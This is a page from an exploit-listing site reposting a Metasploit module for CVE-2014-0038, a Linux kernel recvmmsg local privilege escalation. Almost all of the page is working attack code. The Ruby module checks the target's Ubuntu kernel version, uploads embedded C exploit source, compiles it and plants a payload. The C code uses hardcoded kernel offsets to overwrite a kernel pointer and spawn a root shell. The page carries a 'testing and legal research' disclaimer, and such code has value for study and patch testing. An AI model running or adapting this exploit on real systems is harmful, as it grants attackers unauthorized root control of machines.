Advertisement






Linux Kernel 3.13.1 Recvmmsg Privilege Escalation

CVE Category Price Severity
CVE-2014-0038 CWE-264 $10,000 High
Author Risk Exploitation Type Date
Andy Nguyen High Local 2016-10-10
CPE
cpe:cpe:/o:linux:linux_kernel:3.13.1
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.76 0.9429

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016100094

Below is a copy:

Linux Kernel 3.13.1 Recvmmsg Privilege Escalation##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
          system call with a crafted timeout pointer parameter to gain root.
          This exploit has offsets for 3 Ubuntu 13 kernels built in:
          3.8.0-19-generic (13.04 default)
          3.11.0-12-generic (13.10 default)
          3.11.0-15-generic (13.10)
          This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
          pointer which starts at 0xff*3 (765 seconds)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <[email protected]>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Feb 2 2014',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'Auto', { } ]
          ],
        'DefaultTarget'  => 0,
        'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
        'References'     =>
          [
            [ 'EDB', '31347'],
            [ 'EDB', '31346'],
            [ 'CVE', '2014-0038'],
            [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      if os_id == 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.11.0'
          if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        when '3.8.0'
          if kernel == Gem::Version.new('3.8.0-19-generic')
            vprint_good("Kernel #{kernel} is exploitable")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end


    # direct copy of code from exploit-db.  I removed a lot of the comments in the title area just to cut down on size

    recvmmsg = %q{
      /*
      *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
      recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
      CVE-2014-0038 / x32 ABI with recvmmsg
      by rebel @ irc.smashthestack.org
      -----------------------------------
      */

      #define _GNU_SOURCE
      #include <netinet/ip.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <sys/socket.h>
      #include <unistd.h>
      #include <sys/syscall.h>
      #include <sys/mman.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <sys/utsname.h>

      #define __X32_SYSCALL_BIT 0x40000000
      #undef __NR_recvmmsg
      #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
      #define VLEN 1
      #define BUFSIZE 200

      int port;

      struct offset {
          char *kernel_version;
          unsigned long dest; // net_sysctl_root + 96
          unsigned long original_value; // net_ctl_permissions
          unsigned long prepare_kernel_cred;
          unsigned long commit_creds;
      };

      struct offset offsets[] = {
          {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
          {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
          {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
          {NULL,0,0,0,0}
      };

      void udp(int b) {
          int sockfd;
          struct sockaddr_in servaddr,cliaddr;
          int s = 0xff+1;

          if(fork() == 0) {
              while(s > 0) {
                  fprintf(stderr,"\rbyte %d / 3.. ~%d secs left    bbbb",b+1,3*0xff - b*0xff - (0xff+1-s));
                  sleep(1);
                  s--;
                  fprintf(stderr,".");
              }

              sockfd = socket(AF_INET,SOCK_DGRAM,0);
              bzero(&servaddr,sizeof(servaddr));
              servaddr.sin_family = AF_INET;
              servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
              servaddr.sin_port=htons(port);
              sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
              exit(0);
          }

      }

      void trigger() {
          open("/proc/sys/net/core/somaxconn",O_RDONLY);

          if(getuid() != 0) {
              fprintf(stderr,"not root, ya blew it!\n");
              exit(-1);
          }

          fprintf(stderr,"w00p w00p!\n");
          system("/bin/sh -i");
      }

      typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
      typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
      _commit_creds commit_creds;
      _prepare_kernel_cred prepare_kernel_cred;

      // thx bliss
      static int __attribute__((regparm(3)))
      getroot(void *head, void * table)
      {
          commit_creds(prepare_kernel_cred(0));
          return -1;
      }

      void __attribute__((regparm(3)))
      trampoline()
      {
          asm("mov $getroot, %rax; call *%rax;");
      }

      int main(void)
      {
          int sockfd, retval, i;
          struct sockaddr_in sa;
          struct mmsghdr msgs[VLEN];
          struct iovec iovecs[VLEN];
          char buf[BUFSIZE];
          long mmapped;
          struct utsname u;
          struct offset *off = NULL;

          uname(&u);

          for(i=0;offsets[i].kernel_version != NULL;i++) {
              if(!strcmp(offsets[i].kernel_version,u.release)) {
                  off = &offsets[i];
                  break;
              }
          }

          if(!off) {
              fprintf(stderr,"no offsets for this kernel version..\n");
              exit(-1);
          }

          mmapped = (off->original_value  & ~(sysconf(_SC_PAGE_SIZE) - 1));
          mmapped &= 0x000000ffffffffff;

              srand(time(NULL));
          port = (rand() % 30000)+1500;

          commit_creds = (_commit_creds)off->commit_creds;
          prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

          mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

          if(mmapped == -1) {
              perror("mmap()");
              exit(-1);
          }

          memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

          memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

          if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
              perror("mprotect()");
              exit(-1);
          }

          sockfd = socket(AF_INET, SOCK_DGRAM, 0);
          if (sockfd == -1) {
              perror("socket()");
              exit(-1);
          }

          sa.sin_family = AF_INET;
          sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
          sa.sin_port = htons(port);

          if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
              perror("bind()");
              exit(-1);
          }

          memset(msgs, 0, sizeof(msgs));

          iovecs[0].iov_base = &buf;
          iovecs[0].iov_len = BUFSIZE;
          msgs[0].msg_hdr.msg_iov = &iovecs[0];
          msgs[0].msg_hdr.msg_iovlen = 1;

          for(i=0;i < 3 ;i++) {
              udp(i);
              retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
              if(!retval) {
                  fprintf(stderr,"\nrecvmmsg() failed\n");
              }
          }

          close(sockfd);
          fprintf(stderr,"\n");
          trigger();
      }
    }

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname,fcontent)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      register_file_for_cleanup(fname)
    end

    if compile
      recvmmsg.gsub!(/system("/bin/sh -i");/,
                          "system("#{payload_path}");")
      upload_and_chmod("#{executable_path}.c", recvmmsg)
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
      register_file_for_cleanup(executable_path)
    else
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
      fd = ::File.open( path, "rb")
      recvmmsg = fd.read(fd.stat.size)
      fd.close
      upload_and_chmod(executable_path, recvmmsg)
      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'a0RwAacU'
      payload_path = "/tmp/#{payload_filename}"
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    stime = Time.now
    vprint_status("Exploiting... May take 13min.  Start time: #{stime}")
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum